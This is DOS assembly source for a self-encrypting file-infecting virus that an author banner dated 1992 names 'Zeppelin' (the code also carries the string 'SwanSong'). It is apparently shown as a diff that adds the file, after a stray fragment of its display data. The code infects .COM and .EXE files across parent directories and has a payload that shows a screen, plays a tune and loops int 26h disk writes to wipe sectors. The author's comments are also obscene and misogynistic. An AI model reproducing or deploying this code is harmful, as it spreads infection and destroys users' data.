db 0F3h, 09h,0A9h, 04h, 9Dh
|
||||
db 9
|
||||
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
|
||||
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
|
||||
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
|
||||
db 20h, 09h, 5Ch, 04h,0F6h, 09h
|
||||
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
|
||||
db 0CDh,0B8h, 19h, 13h, 18h, 19h
|
||||
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
|
||||
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
|
||||
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
|
||||
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
|
||||
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
|
||||
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
|
||||
db 19h, 03h,0BAh, 19h, 12h, 07h
|
||||
db 0BAh,0BAh, 19h, 04h,0BAh, 19h
|
||||
db 03h,0BDh, 20h,0BAh,0BAh, 19h
|
||||
db 02h,0D3h,0B7h, 19h, 13h, 01h
|
||||
db 0BAh, 19h, 03h, 18h, 19h, 03h
|
||||
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
|
||||
db 04h, 19h, 07h, 08h,0BAh,0B6h
|
||||
db 19h, 04h,0C7h,0C4h,0B6h, 19h
|
||||
db 03h,0BAh,0B6h, 19h, 03h,0BAh
|
||||
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
|
||||
db 19h, 08h, 01h,0BAh, 19h, 03h
|
||||
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
|
||||
db 19h, 12h, 08h,0BAh,0D3h, 19h
|
||||
db 02h,0B7h, 20h,0BAh, 19h, 03h
|
||||
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
|
||||
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
|
||||
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
|
||||
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
|
||||
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
|
||||
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
|
||||
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
|
||||
db 19h, 14h, 01h,0D3h,0C4h,0C4h
|
||||
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
|
||||
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
|
||||
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
|
||||
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
|
||||
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
|
||||
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
|
||||
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
|
||||
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
|
||||
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
|
||||
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
|
||||
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
|
||||
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
|
||||
db 0C4h,0BDh
|
||||
dd 319BA20h ; Data table (indexed access)
|
||||
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
|
||||
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
|
||||
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
|
||||
db 20h,0BAh,0BAh, 19h, 04h,0BAh
|
||||
db 20h, 20h,0BAh,0BAh, 19h, 02h
|
||||
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
|
||||
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
|
||||
db 0C4h, 20h,0BAh, 19h, 06h, 08h
|
||||
db 58h, 19h, 03h,0C7h,0C4h,0B6h
|
||||
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
|
||||
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
|
||||
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
|
||||
db 03h,0BAh,0B6h, 19h, 04h,0BAh
|
||||
db 20h, 20h,0BAh,0B6h, 19h, 02h
|
||||
db 0BAh, 19h, 03h, 01h,0BAh, 20h
|
||||
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
|
||||
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
|
||||
db 0BDh, 19h, 04h,0BAh, 19h, 03h
|
||||
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
|
||||
db 19h, 05h,0BAh, 19h, 03h,0B7h
|
||||
db 20h,0BAh,0D3h, 19h, 02h,0B7h
|
||||
db 20h,0BAh, 20h, 20h,0BAh,0D3h
|
||||
db 19h, 02h,0BAh, 19h, 03h, 01h
|
||||
db 0BAh, 19h, 03h, 18h, 19h, 03h
|
||||
db 0BAh, 19h, 03h, 08h,0D3h, 1Ah
|
||||
db 04h,0C4h,0BDh, 20h,0D3h, 1Ah
|
||||
db 03h,0C4h,0BDh, 20h,0BDh, 19h
|
||||
db 05h,0BDh, 19h, 05h,0D3h, 1Ah
|
||||
db 03h,0C4h,0BDh, 20h,0D3h, 1Ah
|
||||
db 03h,0C4h,0BDh, 20h,0D0h, 20h
|
||||
db 20h,0D0h, 19h, 03h,0D0h, 19h
|
||||
db 03h, 01h,0BAh, 19h, 03h, 18h
|
||||
db 19h, 03h,0C8h, 1Ah, 15h,0CDh
|
||||
db 0B8h, 19h, 0Ch,0D5h, 1Ah, 16h
|
||||
db 0CDh,0BCh, 19h, 03h, 18h, 19h
|
||||
db 1Ah,0D4h,0CDh, 04h, 1Ah, 03h
|
||||
db 0F7h, 09h, 2Fh, 04h,0EAh, 09h
|
||||
db 5Ch, 04h, 1Ah, 03h,0F7h, 01h
|
||||
db 0CDh,0BEh, 19h, 1Bh, 18h
|
||||
|
||||
zep endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,674 @@
|
||||
;**************************************************************************
|
||||
;
|
||||
;The Zeppelin Virus September 25, 1992
|
||||
;[MPC] Generated...
|
||||
;Created by... pAgE
|
||||
;As a TRiBuTe to John "back-beat" Bohnam, this "WEAK-DICK" ViRUS was made!
|
||||
;Incidently. He died on this date in 1980! Got drunk and strangled on a
|
||||
;CunT hAiR...oR wAs iT a tAmPoN???...Oh well, So goes RocK -n- RoLL...
|
||||
;By the wAy<---That's whAt you sAy just beforE you bOrE the FuCK out of
|
||||
;soMeoNe with anOthEr TRiViAl piEce of SHiT!!! These LiTTLe Up AnD LeTTeRS
|
||||
;ThAt yA'll uSe, ArE a KicK....
|
||||
;
|
||||
;Okay, enough anti-social, suicidal, satan, sputum...On with the ViRUS...
|
||||
; GeT'S in ThE bl00d DoEsn't it?------->^^^^^
|
||||
;
|
||||
;Here it is...
|
||||
;It's not much, but in the hands off a knowledgeable Vx WRiTeR.......
|
||||
;I'll keep workin' on it and see what I can do. In the mean time, have fun!
|
||||
;I ReM'd out a lot of the ShIt iN here, So Joe LuNChmEaT doesn;t FrY hImSelF.
|
||||
;
|
||||
;But...If that's not good enough, well then - hEy! - BLoW mE!
|
||||
;
|
||||
;***************************************************************************
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
id = 'IS' ; ID word for EXE infections
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
patch_startencrypt:
|
||||
mov di,offset startencrypt ; start of decryption
|
||||
mov si,(offset heap - offset startencrypt)/2 ; iterations
|
||||
decrypt_loop:
|
||||
db 2eh,81h,35h ; xor word ptr cs:[di], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc di ; calculate new decryption location
|
||||
inc di
|
||||
dec si ; If we are not done, then
|
||||
jnz decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next:
|
||||
pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
|
||||
cmp sp,id ; COM or EXE?
|
||||
je restoreEXE
|
||||
restoreCOM:
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsb
|
||||
jmp short restoreEXIT
|
||||
restoreEXE:
|
||||
push ds
|
||||
push es
|
||||
push cs ; DS = CS
|
||||
pop ds
|
||||
push cs ; ES = CS
|
||||
pop es
|
||||
lea si,[bp+jmpsave2]
|
||||
lea di,[bp+jmpsave]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
restoreEXIT:
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+numinfec],5 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+exe_mask]
|
||||
call infect_mask
|
||||
lea dx,[bp+com_mask]
|
||||
call infect_mask
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
;mov ah,2ah ; Get current date
|
||||
;int 21h
|
||||
;cmp dh,9 ; Check month
|
||||
;jb act_two
|
||||
;cmp dl,25 ; Check date
|
||||
;jb act_two
|
||||
;cmp cx,1992 ; Check year
|
||||
;jb act_two
|
||||
;cmp al,0 ; Check date of week
|
||||
;jb activate
|
||||
|
||||
;mov ah,2ch ; Get current time
|
||||
;int 21h
|
||||
;cmp dl,50 ; Check the percentage
|
||||
jbe activate
|
||||
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
cmp sp,id-4 ; EXE or COM?
|
||||
jz returnEXE
|
||||
returnCOM:
|
||||
retn ; 100h is on stack
|
||||
returnEXE:
|
||||
pop es
|
||||
pop ds
|
||||
int 21h
|
||||
mov ax,es ; AX = PSP segment
|
||||
add ax,10h ; Adjust for PSP
|
||||
add word ptr cs:[bp+jmpsave+2],ax
|
||||
add ax,word ptr cs:[bp+stacksave+2]
|
||||
cli ; Clear intrpts for stack manipulation
|
||||
mov sp,word ptr cs:[bp+stacksave]
|
||||
mov ss,ax
|
||||
sti
|
||||
db 0eah ; jmp ssss:oooo
|
||||
jmpsave dd ? ; Original CS:IP
|
||||
stacksave dd ? ; Original SS:SP
|
||||
jmpsave2 db ? ; Actually four bytes
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
exe_mask db '*.exe',0
|
||||
com_mask db '*.com',0
|
||||
stacksave2 dd ?
|
||||
|
||||
activate proc far
|
||||
|
||||
start:
|
||||
jmp short loc_1
|
||||
db 90h
|
||||
data_2 db 0
|
||||
data_3 dw 216h
|
||||
db 2
|
||||
data_4 dw 0
|
||||
db 'Ripped this Motherfucker off'
|
||||
db 1Ah
|
||||
data_5 db 'SHIT!!! Wont work....', 0Dh, 0Ah
|
||||
db '$'
|
||||
loc_1:
|
||||
|
||||
mov ax,0003h ; stick 3 into ax.
|
||||
int 10h ; Set up 80*25, text mode. Clear the screen, too.
|
||||
mov ah,0Fh
|
||||
int 10h ; Video display ah=functn 0Fh
|
||||
; get state, al=mode, bh=page
|
||||
; ah=columns on screen
|
||||
mov bx,0B800h
|
||||
cmp al,2
|
||||
je loc_2 ; Jump if equal
|
||||
cmp al,3
|
||||
je loc_2 ; Jump if equal
|
||||
mov data_2,0
|
||||
mov bx,0B000h
|
||||
cmp al,7
|
||||
je loc_2 ; Jump if equal
|
||||
mov dx,offset data_5 ; ('Unsupported Video Mode')
|
||||
mov ah,9
|
||||
int 21h ; DOS Services ah=function 09h
|
||||
; display char string at ds:dx
|
||||
retn
|
||||
loc_2:
|
||||
mov es,bx
|
||||
mov di,data_4
|
||||
mov si,offset data_6
|
||||
mov dx,3DAh
|
||||
mov bl,9
|
||||
mov cx,data_3
|
||||
cld ; Clear direction
|
||||
xor ax,ax ; Zero register
|
||||
|
||||
locloop_4:
|
||||
lodsb ; String [si] to al
|
||||
cmp al,1Bh
|
||||
jne loc_5 ; Jump if not equal
|
||||
xor ah,80h
|
||||
jmp short loc_20
|
||||
loc_5:
|
||||
cmp al,10h
|
||||
jae loc_8 ; Jump if above or =
|
||||
and ah,0F0h
|
||||
or ah,al
|
||||
jmp short loc_20
|
||||
loc_8:
|
||||
cmp al,18h
|
||||
je loc_11 ; Jump if equal
|
||||
jnc loc_12 ; Jump if carry=0
|
||||
sub al,10h
|
||||
add al,al
|
||||
add al,al
|
||||
add al,al
|
||||
add al,al
|
||||
and ah,8Fh
|
||||
or ah,al
|
||||
jmp short loc_20
|
||||
loc_11:
|
||||
mov di,data_4
|
||||
add di,data_1e
|
||||
mov data_4,di
|
||||
jmp short loc_20
|
||||
loc_12:
|
||||
mov bp,cx
|
||||
mov cx,1
|
||||
cmp al,19h
|
||||
jne loc_13 ; Jump if not equal
|
||||
lodsb ; String [si] to al
|
||||
mov cl,al
|
||||
mov al,20h ; ' '
|
||||
dec bp
|
||||
jmp short loc_14
|
||||
loc_13:
|
||||
cmp al,1Ah
|
||||
jne loc_15 ; Jump if not equal
|
||||
lodsb ; String [si] to al
|
||||
dec bp
|
||||
mov cl,al
|
||||
lodsb ; String [si] to al
|
||||
dec bp
|
||||
loc_14:
|
||||
inc cx
|
||||
loc_15:
|
||||
cmp data_2,0
|
||||
je loc_18 ; Jump if equal
|
||||
mov bh,al
|
||||
|
||||
locloop_16:
|
||||
in al,dx ; port 3DAh, CGA/EGA vid status
|
||||
rcr al,1 ; Rotate thru carry
|
||||
jc locloop_16 ; Jump if carry Set
|
||||
loc_17:
|
||||
in al,dx ; port 3DAh, CGA/EGA vid status
|
||||
and al,bl
|
||||
jnz loc_17 ; Jump if not zero
|
||||
mov al,bh
|
||||
stosw ; Store ax to es:[di]
|
||||
loop locloop_16 ; Loop if cx > 0
|
||||
|
||||
jmp short loc_19
|
||||
loc_18:
|
||||
rep stosw ; Rep when cx >0 Store ax to es:[di]
|
||||
loc_19:
|
||||
mov cx,bp
|
||||
loc_20:
|
||||
jcxz loc_new_25 ; Jump if cx=0
|
||||
loop locloop_4 ; Loop if cx > 0
|
||||
loc_new_25:
|
||||
|
||||
|
||||
mov si,offset data00 ; SI points to data
|
||||
get_note: mov bx,[si] ; Load BX with the frequency
|
||||
or bx,bx ; Is BX equal to zero?
|
||||
je play_tune_done ; If it is we are finished
|
||||
|
||||
mov ax,034DDh ;
|
||||
mov dx,0012h ;
|
||||
cmp dx,bx ;
|
||||
jnb new_note ;
|
||||
div bx ; This bit here was stolen
|
||||
mov bx,ax ; from the Turbo C++ v1.0
|
||||
in al,061h ; library file CS.LIB. I
|
||||
test al,3 ; extracted sound() from the
|
||||
jne skip_an_or ; library and linked it to
|
||||
or al,3 ; an .EXE file, then diassembled
|
||||
out 061h,al ; it. Basically this turns
|
||||
mov al,0B6h ; on the speaker at a certain
|
||||
out 043h,al ; frequency.
|
||||
skip_an_or: mov al,bl ;
|
||||
out 042h,al ;
|
||||
mov al,bh ;
|
||||
out 042h,al ;
|
||||
|
||||
mov bx,[si + 2] ; BX holds duration value
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 1Ah
|
||||
add bx,dx ; Add the time to the length
|
||||
wait_loop: int 1Ah ; Get the time again (AH = 0)
|
||||
cmp dx,bx ; Is the delay over?
|
||||
jne wait_loop ; Repeat until it is
|
||||
in al,061h ; Stolen from the nosound()
|
||||
and al,0FCh ; procedure in Turbo C++ v1.0.
|
||||
out 061h,al ; This turns off the speaker.
|
||||
|
||||
new_note: add si,4 ; SI points to next note
|
||||
jmp short get_note ; Repeat with the next note
|
||||
play_tune_done:
|
||||
activate endp
|
||||
|
||||
mov ax,0002h ; OH! Look at this! Mr. Memorial
|
||||
mov cx,0001h ; has just transformed into an
|
||||
cli ; ASSHoLe!!!
|
||||
cwd ; NuKe that HD "puppy-mullet"
|
||||
trash_loop: int 026h ; Int 26h...Absolute FACE-RAPE
|
||||
dec ax ; We really did let him off easy!
|
||||
cmp ax,-1 ; Could have seriously trashed
|
||||
jne trash_loop ; his happy ass................
|
||||
sti ; --->>pAgE<<----
|
||||
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[pAgE]',0 ; YOU REALLY SHOULD TAKE THIS
|
||||
virusname db '[SwanSong]',0 ; BULLSHIT OUT OF HERE!!!
|
||||
author db 'pAgE',0 ; WHY NOT HOLD UP A SIGN!!!
|
||||
|
||||
infect_mask:
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc exit_infect_mask ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,20h ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||
jz checkEXE ; Why yes, yes it is!
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+1ah] ; Filesize in DTA
|
||||
cmp ax,(heap-decrypt) ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1] ;get jmp location
|
||||
add bx,(heap-decrypt+1) ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||
jnz infect_exe
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
exit_infect_mask: ret
|
||||
|
||||
infect_exe:
|
||||
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||
mov word ptr [bp+jmpsave2], ax
|
||||
mov word ptr [bp+jmpsave2+2], es
|
||||
|
||||
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||
mov word ptr [bp+stacksave2], es
|
||||
mov word ptr [bp+stacksave2+2], ax
|
||||
|
||||
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||
mov cl, 4 ; convert to bytes
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset newDTA+26]; Get file size
|
||||
mov dx, es ; to DX:AX
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx ; Subtract header size from
|
||||
sbb dx, 0 ; file size
|
||||
|
||||
mov cx, 10h ; Convert to segment:offset
|
||||
div cx ; form
|
||||
|
||||
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||
mov word ptr [bp+buffer+16h], ax
|
||||
|
||||
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||
mov word ptr [bp+buffer+10h], id
|
||||
|
||||
pop dx ; get file length
|
||||
pop ax
|
||||
|
||||
add ax,(heap-decrypt) ; add virus size
|
||||
adc dx, 0
|
||||
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1 ; mod 512
|
||||
|
||||
mov word ptr [bp+buffer+4], dx ; new file size
|
||||
mov word ptr [bp+buffer+2], ax
|
||||
|
||||
push cs ; restore ES
|
||||
pop es
|
||||
|
||||
push word ptr [bp+buffer+14h] ; needed later
|
||||
mov cx, 1ah
|
||||
jmp short finishinfection
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
or dx,dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
pop ax ; remove call from stack
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,(heap-decrypt) ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
data00 dw 2000,8,2500,8,2000,14,2500,14
|
||||
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
|
||||
;dw 3500,12,4000,4,4500,10,5000,4
|
||||
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
|
||||
;dw 2000,8,2500,8,2000,14,2500,14
|
||||
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
|
||||
;dw 3500,12,4000,4,4500,10,5000,4
|
||||
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
|
||||
;dw 2000,8,2500,8,2000,14,2500,14
|
||||
;dw 2500,14,3000,4,4000,24,3500,12,4000,6
|
||||
;dw 3500,12,4000,4,4500,10,5000,4
|
||||
;dw 5500,15,3000,8,3500,20,3000,8,3500,50
|
||||
dw 0
|
||||
|
||||
data_6 db 9
|
||||
db 10h, 19h, 45h, 18h, 19h, 1Bh
|
||||
db 01h,0D5h,0CDh,0CDh,0B8h, 04h
|
||||
db 0F3h, 09h,0A9h, 04h, 9Dh
|
||||
db 9
|
||||
db 0AAh, 04h,0F2h, 01h,0D5h,0CDh
|
||||
db 0CDh,0B8h, 19h, 1Ch, 18h, 19h
|
||||
db 12h,0D5h, 1Ah, 0Ah,0CDh,0BEh
|
||||
db 20h, 09h, 5Ch, 04h,0F6h, 09h
|
||||
db 2Fh, 20h, 01h,0D4h, 1Ah, 0Ah
|
||||
db 0CDh,0B8h, 19h, 13h, 18h, 19h
|
||||
db 03h,0C9h, 1Ah, 0Dh,0CDh,0BEh
|
||||
db 19h, 03h, 0Fh,0D2h,0B7h, 19h
|
||||
db 04h,0D6h, 1Ah, 03h,0C4h,0B7h
|
||||
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
|
||||
db 0B7h, 19h, 04h, 01h,0D4h, 1Ah
|
||||
db 0Eh,0CDh,0BBh, 19h, 03h, 18h
|
||||
db 19h, 03h,0BAh, 19h, 12h, 07h
|
||||
db 0BAh,0BAh, 19h, 04h,0BAh, 19h
|
||||
db 03h,0BDh, 20h,0BAh,0BAh, 19h
|
||||
db 02h,0D3h,0B7h, 19h, 13h, 01h
|
||||
db 0BAh, 19h, 03h, 18h, 19h, 03h
|
||||
db 0BAh, 19h, 07h, 0Bh, 1Ah, 02h
|
||||
db 04h, 19h, 07h, 08h,0BAh,0B6h
|
||||
db 19h, 04h,0C7h,0C4h,0B6h, 19h
|
||||
db 03h,0BAh,0B6h, 19h, 03h,0BAh
|
||||
db 19h, 07h, 0Bh, 1Ah, 02h, 04h
|
||||
db 19h, 08h, 01h,0BAh, 19h, 03h
|
||||
db 18h,0D6h,0C4h,0C4h, 20h,0BAh
|
||||
db 19h, 12h, 08h,0BAh,0D3h, 19h
|
||||
db 02h,0B7h, 20h,0BAh, 19h, 03h
|
||||
db 0B7h, 20h,0BAh,0D3h, 19h, 02h
|
||||
db 0D6h,0BDh, 19h, 13h, 01h,0BAh
|
||||
db 20h,0C4h,0C4h,0B7h, 18h,0D3h
|
||||
db 0C4h,0C4h,0C4h,0BDh, 19h, 12h
|
||||
db 08h,0D3h, 1Ah, 03h,0C4h,0BDh
|
||||
db 20h,0D3h, 1Ah, 03h,0C4h,0BDh
|
||||
db 20h,0D0h, 1Ah, 03h,0C4h,0BDh
|
||||
db 19h, 14h, 01h,0D3h,0C4h,0C4h
|
||||
db 0C4h,0BDh, 18h, 04h, 1Ah, 04h
|
||||
db 3Eh, 19h, 03h, 0Fh,0D6h, 1Ah
|
||||
db 04h,0C4h,0B7h, 20h,0D6h, 1Ah
|
||||
db 03h,0C4h,0B7h, 20h,0D2h,0D2h
|
||||
db 0C4h,0C4h,0C4h,0B7h, 20h,0D2h
|
||||
db 0D2h,0C4h,0C4h,0C4h,0B7h, 20h
|
||||
db 0D6h, 1Ah, 03h,0C4h,0B7h, 20h
|
||||
db 0D2h,0B7h, 19h, 04h,0D2h, 20h
|
||||
db 20h,0D2h,0D2h,0C4h,0C4h,0C4h
|
||||
db 0B7h, 19h, 03h, 04h, 1Ah, 04h
|
||||
db 3Ch, 18h, 01h,0D6h,0C4h,0C4h
|
||||
db 0C4h,0B7h, 19h, 07h, 07h,0D6h
|
||||
db 0C4h,0BDh
|
||||
dd 319BA20h ; Data table (indexed access)
|
||||
db 0BDh, 20h,0BAh,0BDh, 19h, 02h
|
||||
db 0BAh, 20h,0BAh,0BDh, 19h, 02h
|
||||
db 0BAh, 20h,0BAh, 19h, 03h,0BDh
|
||||
db 20h,0BAh,0BAh, 19h, 04h,0BAh
|
||||
db 20h, 20h,0BAh,0BAh, 19h, 02h
|
||||
db 0BAh, 19h, 03h, 01h,0D6h,0C4h
|
||||
db 0C4h,0C4h,0B7h, 18h,0D3h,0C4h
|
||||
db 0C4h, 20h,0BAh, 19h, 06h, 08h
|
||||
db 58h, 19h, 03h,0C7h,0C4h,0B6h
|
||||
db 19h, 03h,0BAh, 1Ah, 03h,0C4h
|
||||
db 0BDh, 20h,0BAh, 1Ah, 03h,0C4h
|
||||
db 0BDh, 20h,0C7h,0C4h,0B6h, 19h
|
||||
db 03h,0BAh,0B6h, 19h, 04h,0BAh
|
||||
db 20h, 20h,0BAh,0B6h, 19h, 02h
|
||||
db 0BAh, 19h, 03h, 01h,0BAh, 20h
|
||||
db 0C4h,0C4h,0BDh, 18h, 19h, 03h
|
||||
db 0BAh, 19h, 03h, 08h,0D6h,0C4h
|
||||
db 0BDh, 19h, 04h,0BAh, 19h, 03h
|
||||
db 0B7h, 20h,0BAh, 19h, 05h,0BAh
|
||||
db 19h, 05h,0BAh, 19h, 03h,0B7h
|
||||
db 20h,0BAh,0D3h, 19h, 02h,0B7h
|
||||
